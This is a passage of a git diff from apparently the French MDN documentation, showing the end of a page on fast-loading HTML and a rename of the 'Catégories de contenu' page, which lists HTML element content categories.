Les scripts intégrés peut être coûteux pour le chargement de la page, puisque l'analyseur (ou parser) doit supposer qu'un script intégré pourrait modifier la structure de la page quand le "parsing" est en cours. Il est donc préférable, en général, de réduire l'utilisation des scripts intégrés et l'utilisation de document.write(), en particulier au contenu de sortie. Ces manipulations peuvent améliorer chargement globale de la page. Utilisez des méthodes modernes de W3C-DOM pour manipuler le contenu de la page pour les navigateurs modernes, plutôt que des approches plus fondées sur document.write ().

- -

Utilisez le CSS moderne et des balises valides

- -

L'utilisation de CSS modernes réduit la quantité de balisage, et peut réduire la nécessité de "spacer" les images, en termes de disposition, et peut très souvent remplacer des images de texte stylisé - qui "coutent" beaucoup plus que l'équivalent texte-et-CSS.
- Utiliser des balises valides a d'autres avantages. Tout d'abord, les navigateurs n'ont pas besoin d'effectuer de corrections d'erreurs lors de l'analyse du code HTML.
- En outre, la validité du balisage permet la libre utilisation d'autres outils qui peuvent pré-traiter vos pages web. Par exemple, HTML Tidy  peut supprimer des espaces blancs et des balises facultatives, mais il refusera de s'exécuter sur une page avec des erreurs de balisage graves.

- -

Segmentez votre contenu

- -

Remplacer la mise en page basé sur des <table> par des blocs <div>, plutôt que des <table> très imbriquée comme dans l'exemple suivant:

- -
<TABLE>
-  <TABLE>
-    <TABLE>
-          ...
-    </TABLE>
-  </TABLE>
-</TABLE>
-
-
- -

Préferez des <table> non-imbriquées ou <div> comme dans l'exemple suivant:

- -
> TABLE <TABLE> ...</
-> TABLE <TABLE> ...</
-> TABLE <TABLE> ...</
- -

Préciser la taille des images et des tableaux

- -

Si le navigateur peut immédiatement déterminer la hauteur et/ou la largeur de vos images et tableaux, il sera capable d'afficher une page web sans avoir à refondre le contenu. Cela n'augmente pas seulement la vitesse d'affichage de la page, mais aussi à empêcher les changements gênants dans la disposition d'une page lors du chargement. Pour cette raison, la hauteur et la largeur doit être spécifié pour les images, chaque fois que possible.
- Les tableaux doivent utiliser le sélecteur CSS selector:property combination:

- -
  table-layout: fixed;
-
-
- -

et doit spécifier la largeur des colonnes en utilisant le COL et les balises html COLGROUP.

- -

Choisissez les versions des navigateur ciblés

- -


- Pour atteindre les plus grandes améliorations dans la conception de la page, assurez-vous que des exigences raisonnables de l'agent utilisateur (user-agent) soit définies pour les projets. Cela ne nécessite pas que votre contenu apparaisse parfaitement sur tous les navigateurs, et surtout pas dans les navigateurs d'une version anterieure.
-
- Idéalement, vous devriez vous concentrez sur l'examen des navigateurs modernes qui prennent en charge des normes pertinentes. Il peut s'agir de: Firefox 5, Internet Explorer 9 sur Windows, Opera 11 sous Windows et Safari 5 sur Mac OS X.
-
- Notez, cependant, que beaucoup de conseils énumérés dans cette page sont des techniques de bon sens qui s'applique à tous, et peuvent être appliquées à n'importe quelle page web, indépendamment des exigences relatives des navigateurs.

- -

Liens connexes

- -


-     * Optimisez vos pages avec Yslow
-     * Livre: "Speed Up Your Site" par Andy King
-     * Site Optimization Tutorial (WebMonkey) (en anglais) 
-     * Best Practices for Speeding Up Your Web Site (en anglais) 

- -

 

- -

Document d'information d'origine
-
-     * https://developer.mozilla.org/en/Tips_for_Authoring_Fast-loading_HTML_Pages

diff --git "a/files/fr/web/guide/html/cat\303\251gories_de_contenu/index.html" "b/files/fr/web/guide/html/cat\303\251gories_de_contenu/index.html" deleted file mode 100644 index 35a8ed9779..0000000000 --- "a/files/fr/web/guide/html/cat\303\251gories_de_contenu/index.html" +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: Catégories de contenu -slug: Web/Guide/HTML/Catégories_de_contenu -tags: - - Avancé - - Contenus - - Guide - - HTML -translation_of: Web/Guide/HTML/Content_categories ---- -

Chaque élément HTML est membre d'un certain nombre de catégories de contenu qui regroupent des éléments partageant un ensemble de caractéristiques. Ceci est un regroupement lâche, en ce sens qu'il ne crée pas réellement de relation entre les éléments de ces types, mais il aide à définir et à décrire leur comportement et les règles associées qu'ils doivent respecter, en particulier lorsque l'on entre dans leurs détails complexes. Il est également possible que les éléments ne soient membres d'aucune de ces catégories.

- -

Il y a trois types différents de catégories de contenu :

- -
    -
  • Les catégories de contenu principales qui décrivent un ensemble de règles de contenu partagées par une grande variété d'éléments ;
    • -
  • Les catégories de contenu relatives aux formulaires qui décrivent les règles de contenu partagées par les éléments en lien avec les formulaires ;
    • -
  • Les catégories de contenu spécifiques qui décrivent des catégories plus rares et qui s'appliquent à peu d'éléments, parfois dans un contexte particulier
    • -
- -
-

Note : un discours plus détaillé sur ces catégories de contenu et de leurs fonctionnalités comparatives dépasse le cadre de cet article ; pour en savoir plus, vous pouvez lire les parties correspondantes de la spécification HTML (en).

-
- -
Content_categories_venn.png
- -

Principales catégories de contenu

- -

Contenu de méta-données

- -

Les éléments appartenant à cette catégorie modifient la présentation ou le comportement du reste du document, insèrent des liens vers d'autres documents ou comportent des informations sur la structure même des données.

- -

Les éléments appartenant à cette catégories sont : {{HTMLElement("base")}}, {{HTMLElement("command")}}{{ Obsolete_inline()}} , {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.

- -

Contenu de flux

- -

Les éléments appartenant à la catégorie de contenu de flux contiennent généralement du texte ou du contenu intégré. Ces éléments sont : {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("picture")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} et le texte.

- -

Quelques autres éléments appartiennent à cette catégorie mais seulement sous certaines conditions :

- -
    -
  • {{HTMLElement("area")}} s'il est un descendant de l'élément {{HTMLElement("map")}}
    • -
  • {{HTMLElement("link")}} si l'attribut itemprop est présent
    • -
  • {{HTMLElement("meta")}} si l'attribut itemprop est présent
    • -
  • {{HTMLElement("style")}} si l'attribut {{htmlattrxref("scoped","style")}} {{deprecated_inline()}} est présent
    • -
- -

Contenu sectionnant

- -

Les éléments appartenant à cette catégorie sont ceux créant une nouvelle section dans le plan du document qui définit la portée des éléments {{HTMLElement("header")}}, des éléments {{HTMLElement("footer")}} et du contenu de titre.

- -

Les éléments appartenant à cette catégorie sont les éléments {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} et {{HTMLElement("section")}}. 

- -
-

Note : Il ne faut pas confondre ce modèle de contenu avec la catégorie de racine de sectionnement qui isole un contenu par rapport à la structure (ou plan) principale.

-
- -

Contenu de titre

- -

Le contenu de titre définit le titre d'une section, qu'elle soit marquée par un contenu sectionnant de manière explicite ou qu'elle soit définie de manière implicite par le contenu de titre lui-même.

- -

Les éléments appartenant à cette catégorie sont {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} et {{HTMLElement("hgroup")}}.

- -
-

Note : Bien qu'il soit probable qu'un élément {{HTMLElement("header")}} comporte du contenu de titre, il n'est pas lui-même un contenu de titre.

-
- -
-

Note : {{HTMLElement("hgroup")}} est supprimé du document recommandé par W3C.

-
- -

Contenu phrasé

- -

Le contenu phrasé définit le texte et le balisage qu'il contient. Des séquences de contenu phrasé constituent des paragraphes.

- -

Les éléments appartenant à cette catégorie sont  {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("picture")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} et du texte brut (n'étant pas une simple suite de blancs).

- -

Quelques autres éléments appartiennent à cette catégorie mais seulement selon certaines conditions :

- -
    -
  • {{HTMLElement("a")}} s'il contient seulement du contenu phrasé
    • -
  • {{HTMLElement("area")}} s'il est un descendant de l'élément {{HTMLElement("map")}}
    • -
  • {{HTMLElement("del")}} s'il contient seulement du contenu phrasé
    • -
  • {{HTMLElement("ins")}} s'il contient seulement du contenu phrasé
    • -
  • {{HTMLElement("link")}} si l'attribut itemprop est présent
    • -
  • {{HTMLElement("map")}} s'il contient seulement du contenu phrasé
    • -
  • {{HTMLElement("meta")}} si l'attribut itemprop est présent
    • -
- -

Contenu intégré

- -

Le contenu intégré importe une autre ressource ou intègre du contenu provenant d'un autre langage de balisage ou d'un autre espace de noms dans le document. Les éléments appartenant à cette catégorie sont : {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{HTMLElement("svg")}}, {{HTMLElement("video")}}.

- -

Contenu interactif

- -

Le contenu interactif regroupe des éléments spécialement conçus pour une interaction avec l'utilisateur. Les éléments appartenant à cette catégories sont : {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("label")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.

- -

Quelques éléments appartiennent à cette catégorie seulement sous certaines conditions :

- -
    -
  • {{HTMLElement("audio")}} si l'attribut {{htmlattrxref("controls", "audio")}} est présent
    • -
  • {{HTMLElement("img")}} si l'attribut {{htmlattrxref("usemap", "img")}} est présent
    • -
  • {{HTMLElement("input")}} si l'attribubt {{htmlattrxref("type", "input")}} ne vaut pas hidden
    • -
  • {{HTMLElement("menu")}} si l'attribut {{htmlattrxref("type", "menu")}} vaut toolbar
    • -
  • {{HTMLElement("object")}} si l'attribut {{htmlattrxref("usemap", "object")}} est présent
    • -
  • {{HTMLElement("video")}}, si l'attribut {{htmlattrxref("controls", "video")}} est présent
    • -
- -

Contenu tangible

- -

Un contenu peut être dit tangible lorsqu'il n'est ni vide ni caché. Les éléments dont le modèle de contenu est de flux ou phrasé devraient toujours avoir au moins un noeud dont le contenu est tangible.

- -

Contenu associé aux formulaires

- -

Le contenu associé aux formulaires contient les éléments possédés par un formulaire, exposé avec un attribut form. Être possédé par un formulaire signifie être descendant d'un élément  {{HTMLElement("form")}} ou de l'élément dont l'identifiant est référencé par la valeur de l'attribut form.

- -

Cette catégorie contient les éléments :

- -
    -
  • {{HTMLElement("button")}}
    • -
  • {{HTMLElement("fieldset")}}
    • -
  • {{HTMLElement("input")}}
    • -
  • {{HTMLElement("keygen")}}{{deprecated_inline()}}
    • -
  • {{HTMLElement("label")}}
    • -
  • {{HTMLElement("meter")}}
    • -
  • {{HTMLElement("object")}}
    • -
  • {{HTMLElement("output")}}
    • -
  • {{HTMLElement("progress")}}
    • -
  • {{HTMLElement("select")}}
    • -
  • {{HTMLElement("textarea")}}
    • -
- -

 Cette catégorie peut être subdivisée en plusieurs sous-catégories.

- -
-
listed (éléments listés)
-
Les éléments étant listés sont les ensembles IDL form.elements et fieldset.elements. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.
-
labelable (éléments étiquetables)
-
Les éléments pouvant être associés avec des éléments  {{HTMLElement("label")}}. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.
-
submittable (éléments participants à l'envoi du formulaire)
-
Les éléments pouvant être utilisés pour construire les données du formulaires quand celui-ci est envoyé. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("object")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.
-
resettable (éléments de ré-initialisation)
-
Éléments pouvant être impactés lorsqu'un formulaire est ré-initialisé. Ce sont : {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("output")}},{{HTMLElement("select")}} et {{HTMLElement("textarea")}}.
-
- -

Catégories secondaires

- -

Il existe des classifications secondaires d'éléments qu'il peut être utile de connaître également.

- -

Éléments supports de script

- -

Les éléments supports de script sont des éléments qui ne contribuent pas directement à la sortie rendue d'un document. Au lieu de cela, ils servent à prendre en charge les scripts, soit en contenant ou en spécifiant le code de script directement, soit en spécifiant les données qui seront utilisées par les scripts. Ce sont :

- -
    -
  • {{HTMLElement("script")}}
    • -
  • {{HTMLElement("template")}}
    • -
- -

Modèle de contenu transparent

- -

Si l'élément possède un modèle de contenu transparent, son contenu doit alors être structuré comme du HTML5 valide, et ce, même si l'élément transparent a été enlevé et remplacé par ses éléments fils.

- -

Les éléments {{HTMLElement("del")}} et {{HTMLELement("ins")}} sont des exemples d'éléments transparents.

- -
<p>Bonjour <del><em>tout</em></del> <ins>le monde</ins>.</p>
-
- -

Si ces éléments étaient retirés, ce fragment de code HTML serait toujours du HTML valide.

- -
<p>Bonjour <em>tout</em> le monde.</p>
-
- -

Autres modèles de contenu

- -

Racine de sectionnement.

diff --git a/files/fr/web/guide/html/content_categories/index.html b/files/fr/web/guide/html/content_categories/index.html new file mode 100644 index 0000000000..35a8ed9779 --- /dev/null +++ b/files/fr/web/guide/html/content_categories/index.html @@ -0,0 +1,175 @@ +--- +title: Catégories de contenu +slug: Web/Guide/HTML/Catégories_de_contenu +tags: + - Avancé + - Contenus + - Guide + - HTML +translation_of: Web/Guide/HTML/Content_categories +--- +

Chaque élément HTML est membre d'un certain nombre de catégories de contenu qui regroupent des éléments partageant un ensemble de caractéristiques. Ceci est un regroupement lâche, en ce sens qu'il ne crée pas réellement de relation entre les éléments de ces types, mais il aide à définir et à décrire leur comportement et les règles associées qu'ils doivent respecter, en particulier lorsque l'on entre dans leurs détails complexes. Il est également possible que les éléments ne soient membres d'aucune de ces catégories.

+ +

Il y a trois types différents de catégories de contenu :

+ +
    +
  • Les catégories de contenu principales qui décrivent un ensemble de règles de contenu partagées par une grande variété d'éléments ;
    • +
  • Les catégories de contenu relatives aux formulaires qui décrivent les règles de contenu partagées par les éléments en lien avec les formulaires ;
    • +
  • Les catégories de contenu spécifiques qui décrivent des catégories plus rares et qui s'appliquent à peu d'éléments, parfois dans un contexte particulier
    • +
+ +
+

Note : un discours plus détaillé sur ces catégories de contenu et de leurs fonctionnalités comparatives dépasse le cadre de cet article ; pour en savoir plus, vous pouvez lire les parties correspondantes de la spécification HTML (en).

+
+ +
Content_categories_venn.png
+ +

Principales catégories de contenu

+ +

Contenu de méta-données

+ +

Les éléments appartenant à cette catégorie modifient la présentation ou le comportement du reste du document, insèrent des liens vers d'autres documents ou comportent des informations sur la structure même des données.

+ +

Les éléments appartenant à cette catégories sont : {{HTMLElement("base")}}, {{HTMLElement("command")}}{{ Obsolete_inline()}} , {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.

+ +

Contenu de flux

+ +

Les éléments appartenant à la catégorie de contenu de flux contiennent généralement du texte ou du contenu intégré. Ces éléments sont : {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("picture")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} et le texte.

+ +

Quelques autres éléments appartiennent à cette catégorie mais seulement sous certaines conditions :

+ +
    +
  • {{HTMLElement("area")}} s'il est un descendant de l'élément {{HTMLElement("map")}}
    • +
  • {{HTMLElement("link")}} si l'attribut itemprop est présent
    • +
  • {{HTMLElement("meta")}} si l'attribut itemprop est présent
    • +
  • {{HTMLElement("style")}} si l'attribut {{htmlattrxref("scoped","style")}} {{deprecated_inline()}} est présent
    • +
+ +

Contenu sectionnant

+ +

Les éléments appartenant à cette catégorie sont ceux créant une nouvelle section dans le plan du document qui définit la portée des éléments {{HTMLElement("header")}}, des éléments {{HTMLElement("footer")}} et du contenu de titre.

+ +

Les éléments appartenant à cette catégorie sont les éléments {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} et {{HTMLElement("section")}}. 

+ +
+

Note : Il ne faut pas confondre ce modèle de contenu avec la catégorie de racine de sectionnement qui isole un contenu par rapport à la structure (ou plan) principale.

+
+ +

Contenu de titre

+ +

Le contenu de titre définit le titre d'une section, qu'elle soit marquée par un contenu sectionnant de manière explicite ou qu'elle soit définie de manière implicite par le contenu de titre lui-même.

+ +

Les éléments appartenant à cette catégorie sont {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} et {{HTMLElement("hgroup")}}.

+ +
+

Note : Bien qu'il soit probable qu'un élément {{HTMLElement("header")}} comporte du contenu de titre, il n'est pas lui-même un contenu de titre.

+
+ +
+

Note : {{HTMLElement("hgroup")}} est supprimé du document recommandé par W3C.

+
+ +

Contenu phrasé

+ +

Le contenu phrasé définit le texte et le balisage qu'il contient. Des séquences de contenu phrasé constituent des paragraphes.

+ +

Les éléments appartenant à cette catégorie sont  {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("picture")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} et du texte brut (n'étant pas une simple suite de blancs).

+ +

Quelques autres éléments appartiennent à cette catégorie mais seulement selon certaines conditions :

+ +
    +
  • {{HTMLElement("a")}} s'il contient seulement du contenu phrasé
    • +
  • {{HTMLElement("area")}} s'il est un descendant de l'élément {{HTMLElement("map")}}
    • +
  • {{HTMLElement("del")}} s'il contient seulement du contenu phrasé
    • +
  • {{HTMLElement("ins")}} s'il contient seulement du contenu phrasé
    • +
  • {{HTMLElement("link")}} si l'attribut itemprop est présent
    • +
  • {{HTMLElement("map")}} s'il contient seulement du contenu phrasé
    • +
  • {{HTMLElement("meta")}} si l'attribut itemprop est présent
    • +
+ +

Contenu intégré

+ +

Le contenu intégré importe une autre ressource ou intègre du contenu provenant d'un autre langage de balisage ou d'un autre espace de noms dans le document. Les éléments appartenant à cette catégorie sont : {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{HTMLElement("svg")}}, {{HTMLElement("video")}}.

+ +

Contenu interactif

+ +

Le contenu interactif regroupe des éléments spécialement conçus pour une interaction avec l'utilisateur. Les éléments appartenant à cette catégories sont : {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("label")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.

+ +

Quelques éléments appartiennent à cette catégorie seulement sous certaines conditions :

+ +
    +
  • {{HTMLElement("audio")}} si l'attribut {{htmlattrxref("controls", "audio")}} est présent
    • +
  • {{HTMLElement("img")}} si l'attribut {{htmlattrxref("usemap", "img")}} est présent
    • +
  • {{HTMLElement("input")}} si l'attribubt {{htmlattrxref("type", "input")}} ne vaut pas hidden
    • +
  • {{HTMLElement("menu")}} si l'attribut {{htmlattrxref("type", "menu")}} vaut toolbar
    • +
  • {{HTMLElement("object")}} si l'attribut {{htmlattrxref("usemap", "object")}} est présent
    • +
  • {{HTMLElement("video")}}, si l'attribut {{htmlattrxref("controls", "video")}} est présent
    • +
+ +

Contenu tangible

+ +

Un contenu peut être dit tangible lorsqu'il n'est ni vide ni caché. Les éléments dont le modèle de contenu est de flux ou phrasé devraient toujours avoir au moins un noeud dont le contenu est tangible.

+ +

Contenu associé aux formulaires

+ +

Le contenu associé aux formulaires contient les éléments possédés par un formulaire, exposé avec un attribut form. Être possédé par un formulaire signifie être descendant d'un élément  {{HTMLElement("form")}} ou de l'élément dont l'identifiant est référencé par la valeur de l'attribut form.

+ +

Cette catégorie contient les éléments :

+ +
    +
  • {{HTMLElement("button")}}
    • +
  • {{HTMLElement("fieldset")}}
    • +
  • {{HTMLElement("input")}}
    • +
  • {{HTMLElement("keygen")}}{{deprecated_inline()}}
    • +
  • {{HTMLElement("label")}}
    • +
  • {{HTMLElement("meter")}}
    • +
  • {{HTMLElement("object")}}
    • +
  • {{HTMLElement("output")}}
    • +
  • {{HTMLElement("progress")}}
    • +
  • {{HTMLElement("select")}}
    • +
  • {{HTMLElement("textarea")}}
    • +
+ +

 Cette catégorie peut être subdivisée en plusieurs sous-catégories.

+ +
+
listed (éléments listés)
+
Les éléments étant listés sont les ensembles IDL form.elements et fieldset.elements. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, et {{HTMLElement("textarea")}}.
+
labelable (éléments étiquetables)
+
Les éléments pouvant être associés avec des éléments  {{HTMLElement("label")}}. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.
+
submittable (éléments participants à l'envoi du formulaire)
+
Les éléments pouvant être utilisés pour construire les données du formulaires quand celui-ci est envoyé. Ce sont : {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}} , {{HTMLElement("object")}}, {{HTMLElement("select")}} et {{HTMLElement("textarea")}}.
+
resettable (éléments de ré-initialisation)
+
Éléments pouvant être impactés lorsqu'un formulaire est ré-initialisé. Ce sont : {{HTMLElement("input")}}, {{HTMLElement("keygen")}}{{deprecated_inline()}}, {{HTMLElement("output")}},{{HTMLElement("select")}} et {{HTMLElement("textarea")}}.
+
+ +

Catégories secondaires

+ +

Il existe des classifications secondaires d'éléments qu'il peut être utile de connaître également.

+ +

Éléments supports de script

+ +

Les éléments supports de script sont des éléments qui ne contribuent pas directement à la sortie rendue d'un document. Au lieu de cela, ils servent à prendre en charge les scripts, soit en contenant ou en spécifiant le code de script directement, soit en spécifiant les données qui seront utilisées par les scripts. Ce sont :

+ +
    +
  • {{HTMLElement("script")}}
    • +
  • {{HTMLElement("template")}}
    • +
+ +

Modèle de contenu transparent

+ +

Si l'élément possède un modèle de contenu transparent, son contenu doit alors être structuré comme du HTML5 valide, et ce, même si l'élément transparent a été enlevé et remplacé par ses éléments fils.

+ +

Les éléments {{HTMLElement("del")}} et {{HTMLELement("ins")}} sont des exemples d'éléments transparents.

+ +
<p>Bonjour <del><em>tout</em></del> <ins>le monde</ins>.</p>
+
+ +
